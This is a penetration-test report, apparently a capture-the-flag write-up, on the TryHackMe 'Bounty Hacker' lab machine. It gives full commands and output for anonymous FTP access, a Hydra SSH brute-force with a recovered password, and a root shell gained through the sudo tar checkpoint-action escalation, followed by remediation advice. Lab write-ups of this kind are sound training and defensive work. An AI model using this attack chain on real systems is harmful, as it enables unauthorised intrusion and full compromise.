

VULNERABILITY ASSESSMENT & PENETRATION TESTING REPORT

TARGET: BOUNTY HACKER (TRYHACKME) —
10.49.138.218
TESTER: ISMAIL
DATE: 09-12-2025

1. EXECUTIVE SUMMARY

A penetration test was conducted on the Bounty Hacker machine to identify exploitable services and evaluate system security posture.

Multiple critical weaknesses were identified, including:

- Anonymous FTP access revealing sensitive files
- Credential exposure of SSH password
- Weak password used for SSH authentication
- Privilege escalation via misconfigured sudo permissions (tar)

The combination of these vulnerabilities allows a remote attacker to obtain full root access.

Overall Risk Rating: CRITICAL

2. METHODOLOGY

- **Network Scanning** – Identifying open ports and services
- **Enumeration** – FTP checks, file access, information gathering
- **Exploitation** – Credential discovery, service abuse
- **Privilege Escalation** – Checking sudo perms, escalation to root
- **Reporting** – Documenting findings and remediation

3. Findings & Evidence

4.1 Service Enumeration (Nmap Scan)

Command used:

```
-(kali@kali)-[~/Downloads]
_
$ nmap 10.49.138.218 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-09 04:27 IST
Nmap scan report for 10.49.138.218
Host is up (0.069s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
ftp-anon: Anonymous FTP login allowed (FTP code 230)
_Can't get directory listing: PASV failed: 550 Permission denied.
ftp-syst:
STAT:
FTP server status:
  Connected to ::ffff:192.168.147.220
  Logged in as ftp
  TYPE: ASCII
  No session bandwidth limit
  Session timeout in seconds is 300
  Control connection is plain text
  Data connections will be plain text
  At session startup, client count was 1
  vsFTPD 3.0.5 - secure, fast, stable
_End of status
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
  3072 9b:e8:a3:86:03:ca:cd:57:32:09:74:94:bc:75:4e:2e (RSA)
  256 65:2c:c0:4f:21:a7:3f:31:d9:0e:bb:ed:fb:f9:05:d8 (ECDSA)
_ 256 bc:43:39:a5:d2:bb:04:15:41:0b:06:40:14:31:3a:4b (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
_http-title: Site doesn't have a title (text/html).
_http-server-header: Apache/2.4.41 (Ubuntu)
aggressive OS guesses: Linux 4.15 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.0 - 5.14 (93%), Linux 3.1
- 4.11 (91%), Linux 3.2 - 4.14 (90%), Linux 4.15 - 5.19 (90%), Linux 2.6.32 - 3.10 (90%), Linux 5.4
(89%), HP P2000 G3 NAS device (89%), Linux 2.6.32 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 990/tcp)
Hop RTT ADDRESS
1 74.59 ms 192.168.128.1
...
3 74.61 ms 10.49.138.218

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.81 seconds
```

Port	Service	Version
21/tcp	FTP	vsftpd 3.0.5 (Anonymous login allowed)
22/tcp	SSH	OpenSSH 8.2p1 Ubuntu
80/tcp	HTTP	Apache 2.4.41

Risk: High – Anonymous FTP access and exposed SSH service.

4.2 Anonymous FTP Access (Critical

Command:

```
(kali@kali)-[~/Downloads]
$ ftp 10.49.138.218
Connected to 10.49.138.218.
220 (vsFTPd 3.0.5)
Name (10.49.138.218:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
550 Permission denied.
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
ftp> get task.txt
local: task.txt remote: task.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |*****| 68 1.08 MiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (1.17 KiB/s)
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |*****| 418 8.66 MiB/s 00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (6.44 KiB/s)
ftp>
```

The server allowed login with anonymous credentials.

Downloaded files:

- task.txt
- locks.txt

```
(kali@kali)-[~/Downloads]
$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

```
(kali@kali)-[~/Downloads]
$ ls
aP_cb0fa droopescan index.php inuismail53.ovpn locks.txt maMc6mnM task.txt

(kali@kali)-[~/Downloads]
$ cat locks.txt
rEddrAG0N
ReDdr4g0nSynd1cat3
Dr@g0n$yn91cat3
R3DDr460NSyndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN$YND1cATE
ReDDr4g0nSyndIc4te
R3Dr4g0n2044
RedDr4gonSynd1cat3
R3dDRaG0nSynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N$yNdIc47e
Dra6oN$yndIc@t3
4L1mi6H71StHeB357
rEDdrag0n$ynd1c473
DrAg0N$yNd1cATE
ReDdrag0n$ynd1cate
Dr@g0n$yNd1c4Te
RedDr@g0nSyn91c47e
REd$yNdIc47e
dr@g0N$YNd1c@73
rEDdrAG0nSYNDICat3
r3ddr@g0N
ReDSynd1ca7e
```

Evidence (locks.txt)

Contains a list of potential passwords, clearly sensitive data.

Impact: Credential exposure leading to SSH compromise

Risk: CRITICAL

Recommendation:

Disable anonymous FTP access, enforce authentication, restrict directory access.

4.3 SSH Brute-Force Using Hydra (Successful)

Command:

```
(kali@kali)~[~/Downloads]
$ hydra -l lin -P locks.txt ssh://10.49.138.218

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics any way).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-12-09 04:33:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.49.138.218:22/
[22][ssh] host: 10.49.138.218 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-09 04:33:31
```

Valid Credential Found:

Username	Password
lin	RedDr4gonSynd1cat3

Impact: Full access to user account

Risk: High

Recommendation:

Implement strong passwords, account logout, and MFA where possible

4.4 Gaining User Access (SSH Login)

Command:

```
(kali@kali)~[~/Downloads]
$ ssh lin@10.49.138.218
The authenticity of host '10.49.138.218 (10.49.138.218)' can't be established.
ED25519 key fingerprint is SHA256:NqjXa2/Kysq8gLLIm8EKrb1aUVZ43tWPJ4eNLclqj0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.49.138.218' (ED25519) to the list of known hosts.
lin@10.49.138.218's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Infrastructure is not enabled.
0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025
```

4.5 Privilege Escalation – Misconfigured Sudo (tar)

```
terminal.
lin@ip-10-49-138-218:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on ip-10-49-138-218:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on ip-10-49-138-218:
    (root) /bin/tar
lin@ip-10-49-138-218:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=ex
xec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
#
```

Checking sudo permissions: `sudo -l`

output: User lin may run the following commands as root: (root) /bin/tar

Privilege escalation: `sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh`

Spawned root shell: `# whoami`
root

Root flag obtained successfully.

Risk: CRITICAL

Cause: User "lin" allowed to run tar with root privileges without a password.

Recommendation:

- Remove unnecessary sudo permissions
- Implement least-privilege principle
- Monitor sudo configuration changes

5. Overall Risk Rating

Category	Severity
Attack SurfaceExposure	High
Credential Exposure	Critical
Privilege Escalation	Critical
Security Configuration	Weak

FINAL RISK SCORE: CRITICAL

A full system compromise is possible.

6. Recommendations Summary

Issue	Recommendation
Anonymous FTP Access	Disable FTP or enforce authentication
Sensitive Files Exposed	Use proper file permissions, disable public access
Weak Passwords	Enforce strong password policies
SSH Hardening	Disable password login, enable key-based auth
Sudo Misconfiguration	Remove unnecessary sudo commands
System Updates	Apply regular security patches

7. Conclusion

The Bounty Hacker machine is highly vulnerable, allowing attackers to compromise the system from anonymous access to full root control. Applying the recommended mitigation steps will significantly improve security.